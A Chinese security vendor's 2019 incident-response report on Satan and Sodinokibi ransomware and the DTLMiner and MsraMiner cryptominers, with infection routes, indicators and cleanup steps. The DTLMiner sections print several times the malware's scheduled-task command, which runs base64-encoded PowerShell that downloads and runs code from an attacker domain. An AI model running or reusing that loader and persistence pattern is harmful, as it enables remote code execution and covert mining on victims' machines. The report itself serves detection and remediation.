防护千万条,安全第一条;补丁没打全,中毒两行泪。
近日,安全狗海青实验室接到多起客户中毒求助,经安全研究人员分析,这些病毒感染的途径90%以上都是“永恒之蓝”漏洞和弱口令爆破。
自2017年NSA”武器库”被黑客组织”影子经纪人”泄露以及WannyCry勒索病毒的爆发,“永恒之蓝”就是一个经久不息的话题,直到2019年的今天,还有大量主机因为“永恒之蓝”漏洞感染病毒。
2019年4-5月,我们所接触以及处理的病毒大多利用永恒之蓝漏洞进行传播,而在没有打过补丁的机器中,往往有多种病毒同时存在,”历史包袱”严重。不仅如此,近期的挖矿木马和勒索病毒为了对抗杀毒软件,更是频繁迭代新版本,为了抢占受害者的”算力市场”,黑客怕是早已进入了”996”。
总的来说,以安全卫道,任重而道远。
根据近期应急支撑工作总结的情况,我们把遇到的问题主要分为两大类来讨论:勒索病毒和挖矿木马。
勒索病毒
此次发现的勒索病毒除了利用经典的永恒之蓝漏洞和弱口令爆破感染外,还利用多个中间件NDay对互联网主机进行攻击。我们在发现病毒后第一时间发出勒索病毒预警:【安全预警】警惕!Satan勒索病毒新变种卷土重来、【高危安全预警】Sodinokibi勒索软件感染Windows服务器预警
Satan勒索病毒
2019年4月中旬,海青实验室接到客户求助,并截获到Satan勒索病毒最新变种。该变种病毒会针对Windows系统和Linux系统进行无差别攻击。
Satan病毒在Windows电脑/服务器中,利用永恒之蓝漏洞对局域网Windows电脑进行攻击,同时攻击模块利用JBoss、Tomcat、Weblogic、Apache Struts2多个组件漏洞以及Tomcat弱口令爆破对Windows、Liunx服务器进行攻击。病毒攻击模块在对目标主机攻击成功后,将针对目标操作系统到C2下载勒索病毒主体,并对文件进行加密。目前已有多家企业中招。
病毒攻击模块对主机攻击成功后,判断目标主机操作系统类型,其次到服务器(111.90.159.106)下载相应病毒主体。Windows系统将病毒文件放在C:\\fast.exe,linux系统病毒主体在/tmp/r.sh。下载成功后执行病毒文件。
病毒执行后将对本地文件加密,并对局域网主机进行横向感染。勒索信采用中文编写,看来黑客主要勒索目标是中国用户。勒索信信息如下图:
日志溯源:
查看jboss日志,发现从2019-04-xx 02:55:51开始一直有恶意利用jboss漏洞的exp在对中毒机器进行攻击:
初步分析,最后利用成功的应该是一个jboss反序列化漏洞:
攻击成功后,上传jsp文件satan.jsp。该文件如上文:根据系统从c2下载勒索软件本体并执行
防范措施:
对于勒索病毒,我们只能尽量防范。因为一旦中招,除了支付赎金,能解密的几率非常小,因此防范和中毒后的处理是重点。
1、及时升级操作系统安全补丁,升级Web、数据库等服务程序,防止病毒利用漏洞传播。
2、JBoss、Tomcat、Weblogic、Apache Struts2等服务器组件即时安装安全补丁,更新到最新版本。
3、服务器、Tomcat等登录避免使用弱密码,建议使用“大写字母+小写字母+数字+符号”8位以上密码。
4、定期做好重要数据备份。
IOCs:
111.90.159.106
http://111.90.159.106/r.sh
http://111.90.159.106/f.exe
fe014fbf44e2b42d70e3effa2248348a
Sodinokibi勒索病毒
该病毒家族最早出现于2019年4月下旬,其传播和利用手法丰富,短期内版本更新迭代快。目前应急的客户中,嘉兴、泸州都有中此病毒的案例。
传播途径
1).该病毒利用3389弱口令爆破
2). 4月底刚披露的Weblogic远程代码执行漏洞CVE-2019-2725并配合其他nday漏洞对Windows服务器发起攻击
3). cve-2018-8453 Windows内核提权漏洞提升自身权限
4).垃圾邮件传播
Sodinokibi勒索软件感染服务器成功后会生成文件加密后缀名+readme.txt的勒索信息,勒索信息包括个人的ID序列号,以及恶意软件作者的联系方式。有趣的是最初的曝光者Cisco Talos团队披露的攻击者勒索信息开头显示的是“Hello Dear friend”,而此处使用的是“Welcome Again”,不排除攻击者实施攻击的过程中有二次投递勒索软件的行为。
防范措施:
1.Weblogic、Apache Struts2等服务器组件及时安装安全补丁,更新到最新版本。
2.远程桌面避免使用弱密码,建议使用“大写字母+小写字母+数字+符号”8位以上密码。
对重要的数据文件定期进行非本地备份。
IOCs:
MD5:e62c896825a6d186f34fb16b1f57490a
Domain:
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion
http://decryptor.top
挖矿木马
死灰复燃的DTLMiner家族挖矿木马
该家族病毒自”驱动人生”事件后开始活跃。从入侵“驱动人生”植入挖矿病毒升级插件到对自身病毒更新频率、持久化机制的改变、对抗杀软的手法来看,我们认为该团伙是一个“渗透经验丰富”同时具备较强的反侦察能力的职业黑产团伙。
我们来回顾该团伙搞的“大新闻”。
2018年12月14日,“驱动人生”的升级模块被不法分子利用传播挖矿木马病毒“DTLMiner”,短期内感染数万台计算机。
驱动人生升级推送程序会通过网址链接
Http://pull.update.ackng.com/calendar/PullExecute/F79CB9D2893B254CC75DFB7F3E454A69.exe
将病毒下载到本地执行。
该病毒运行后,将自身释放到System32(或SysWOW64)目录下(C:\Windows\SysWOW64\svhost.exe),将该可执行文件注册为系统服务继续执行恶意代码,注册服务名为Ddriver。
svhost.exe为永恒之蓝漏洞攻击组件,执行之后会对内网具有永恒之蓝漏洞和弱口令的主机进行横向传播,并从http://dl.haqo.net 下载攻击组件执行。(下载的文件即为该svhost.exe)。此外,该svhost进程还将搜集主机信息,发送到服务器:http://i.haqo.net/i.png。
除了攻击、感染、信息搜集外,此时该病毒还未触发其他恶意行为,初步推测该病毒属于测试阶段。
下面将盘点该DTLMiner家族各版本中对抗杀软的手法变化,并给予对应的清除方案。
1.1 版本1-文件增肥
病毒采取落地PE文件形式,文件名是随机的,木马在生成过程中会在文件末尾填充垃圾数据,生成50M左右的大文件来逃避特征查杀。
该木马启动后会在多个系统目录下释放增肥的木马文件,以随机的方式生成的文件名。
C:\windows;
C:\Users\admin\AppData\Roaming;
C:\Users\gouchen\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup;
通过schtasks 创建任务计划:
schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN <随机名> /tr “cmd.exe /c C:\Windows\<随机名>.exe”
通过注册表启动项添加开机自启,并把C:/Users/admin/AppData/Roaming目录下的增肥木马当作启动程序:
HKEY_LOCAL_MACHINE\SOFTWARE\Micrisift\Windows\CurrentVersion\Run
清除方案
删除病毒文件:
C:\Windows\Temp\sartpg.exe
%appdata%\Microsoft\cred.ps1
C:/Windows/随机名.exe
C:/Users/admin/AppData/Roaming/随机名.exe
C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/随机名.exe
删除以下计划任务:
随机名
cmd.exe /c C:\Windows\随机名.exe
删除菜单启动项下的病毒文件:
C:\Users\gouchen\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\随机名.exe
删除注册表中的恶意启动项以及操作文件:
HKEY_LOCAL_MACHINE\SOFTWARE\Micrisift\Windows\CurrentVersion\Run
C:/Users/admin/AppData/Roaming/随机名.exe
1.2 版本2-服务持久化
该版本采用服务进行自身持久化,在漏洞利用成功后,创建随机名称的服务
类似客户这台机器,被多次感染后创建了多个随机的病毒服务
服务的可执行文件路径:
C:\Windows\system32\cmd.exe /C "netsh.exe firewall add portopening tcp 65530 DNS&netsh interface portproxy add v4tov4 listenport=65530 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn "\Microsoft\windows\Rass" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=" /F &schtasks /run /tn "\Microsoft\windows\Rass""
利用服务对自身进行持久化
清除方案
禁用该服务,遍历任务计划(不仅仅在\Microsoft\windows\Rass有任务计划),清除powershell任务计划
1.3版本3-利用JS脚本执行
在攻击成功后,病毒在系统启动项释放flashplayer快捷方式,并在
%appdata%释放flashplayer.tmp文件,该文件内容
此文件是一个脚本,使用JS 调用PowerShell脚本下载。下载的模块解密后
分别:设置任务计划,启动持久化机制,根据系统版本下载powershell挖矿脚本,下载攻击脚本进行横向传播
清除方案:
%appdata%中的flashplayer.tmp文件
清除启动项中的快捷方式
遍历任务计划,和版本2的方案一样,删除powershell任务计划
1.4 版本4-无文件落地伊始
该版本采用无文件落地形式在系统进行驻留,病毒感染成功后直接创建如下任务计划
schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn "\Microsoft\windows\Rass" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=" /F &schtasks /run /tn "\Microsoft\windows\Rass""
同样的,这些任务计划从黑客服务器中下载代码,并直接执行,传统的静态杀毒引擎并不能查杀它。
清除方案:
遍历任务计划,清除powershell任务即可
1.5 版本5-任务计划隐藏
在版本4的基础上,利用某些windows版本对任务计划xml文件解析错误的bug,用特殊字符命名任务计划。导致在图形界面中显示不了该任务计划。
清除方案
要清除这些任务计划,到系统路径C:\Windows\System32\Tasks或C:\Windows\Tasks中,遍历这些xml文件,找到powershell任务相关的xml,删除。
1.6 版本6-未知持久化
个别机子新的变种中,有不明进程启动powershell,通过查看该powershell参数,确认这个是病毒启动的。但是这个powershell启动后,执行自退出,并没有进一步感染、挖矿、占用CPU。检查了一些持久化机制(计划任务、服务、启动项等没发现问题)但是定位不到启动方式。
虽然该powershell启动后自杀,并没有执行到恶意代码部分,但是不能保证后期不会再次爆发。
这个powershell 的父进程是 C:\Windows\svchost.exe,但是svchost.exe是系统的服务进程,系统服务依托了任务计划 wmi 等多个系统服务,检查了该PID下依托的服务 都是正常的
用了360处理,发现360没有对这个进行查杀,但是实时监控powershell启动的参数,对类似如下参数启动的powershell进程进行阻断:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=
可行措施:
通过进程监控,获取powershell参数,判断是否为病毒阻止其执行。
1.7整体查杀方案:
对于有二进制文件落地的版本,用云眼查杀;
对于没有文件落地的版本:
遍历服务,禁用服务名为随机字母组成、服务文件路径特征为
C:\Windows\system32\cmd.exe /C "netsh.exe firewall add portopening tcp 65530 DNS&netsh interface portproxy add v4tov4 listenport=65530 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn "\Microsoft\windows\Rass" /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHcAbQA/AGgAZABwACcAKQA=" /F &schtasks /run /tn "\Microsoft\windows\Rass""
的服务
遍历任务计划,清除powershell特征的任务
特征如:
启动次数频繁(30-60分钟执行一次)
Powershell 参数如:-ep bypass -e + base64 编码数据、-hidden 隐藏窗口
用windows自带的任务计划图形界面程序有时候无法获取完全的任务计划(如2.3.5),建议使用代码遍历任务计划文件夹C:\Windows\System32\Tasks或C:\Windows\Tasks,通过删除这些xml文件来清除任务计划。
清除注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
删除以随机名称命名、数值数据为:
C:\Windows\System32\config\systemprofile\AppData\Roaming\ + 随机名称
的注册表键
对于未知启动的恶意powershell,通过进程监控,阻断带有恶意参数的powershell进程(恶意参数参考2)
IOCs
IP:
27.102.107.137
域名:
p.beahh.com、v.beahh.com、v.y6h.net、down.bddp.net、p.bddp.net、v.bddp.net、p.zer2.com、p.awcna.com、p.amxny.com
2. MsraMiner挖矿家族
该挖矿木马家族在今年4-5月份也算是比较活跃的,在应急过程中,DZJ、JX、NJ、LZ项目中都有发现中此家族病毒的机器。
该变种利用“永恒之蓝”漏洞传播,在传播成功后,母体运行后释放服务模块,释放的服务模块名称随机拼凑。例如:ApplicationNetBIOSEvent.dll
病毒从以下字符串拼凑:
创建服务:ApplicationNetBIOSEvent(不同的机器不同服务名),下放服务配置文件C:\windows\system32\ApplicationNetBIOSEvent.dll
释放“永恒之蓝”攻击工具包到C:\Windows\NetworkDistribution或C:\Windows\SpeechsTracing目录,攻击内网中的其它机器。
清除方案:
该病毒基于windows服务进行自身持久化,因此首先应禁用服务:
找到服务,服务为随机拼凑名,但也是有迹可循的:
服务描述为
Enables a common interface and object model for the $SERVER_NAME$ to access management information about system update, network protocols, devices and applications. If this service is stopped, most Kernel-based software will not function properly. If this service is disabled, any services that depend on it will fail to start.
或
服务名wmassrv(这是比较老的版本,服务名不随机)
首先找到该服务,在任务管理器点击右键,转到进程。记下进程的PID。禁用该服务,停止该服务,结束该进程(刚刚我们记下的进程),结束svchost.exe *32 。删除或隔离C:\Windows\NetworkDistribution 下所有文件。隔离C:\windows\system32\ApplicationNetBIOSEvent.dll
IOCs:
MD5:
befb60b1240d360ca74c25d3637e165e
95786b6c28bf8dba7bbfeeba9e1ec27a
总结
大部分主机由于没及时打上补丁和弱口令问题导致机器中毒,进而导致内网横向传播,造成大批量感染情况。鉴于勒索病毒、挖矿病毒不断更新攻击方法和持久化机制以对抗杀毒软件,以下提出几点有效的防范措施:
定期对自身管理的服务器进行安全体检,并及时更新漏洞补丁和病毒库。关注安全厂商发布的漏洞预警和病毒预警,对自身资产进行自查。除业务需要服务外,限制其余不必要服务及端口。
使用安全性高的密码。很多计算机管理人员并没有意识到自己使用的是弱口令,如密码带有设备、个人、单位、部门信息;常用英文单词(如Password、key、Huawei、admin)等关键词变型;键盘规律字符(如qaz、qwe、!@#、147)等等都是弱口令。建议使用大小写字母+数字+符号八位以上的字符串(最好是无规则)用作密码。且强烈不建议多台机器或数据库使用同一密码,应做到一机一码。
建立灾备方案。要知道信息安全中,绝对安全是不存在的,对于重要资产应当建立一套完整的灾备方案。例如定时做好数据备份,建立备用服务器,做好主备机器切换策略,定期进行灾备演练。
限制服务器上的Powershell。黑客经常利用powershell来完成其渗透攻击,而大部分服务器上承载的业务其实用不到powershell。因此,若业务上用不到powershell组件,建议将其关闭或禁用。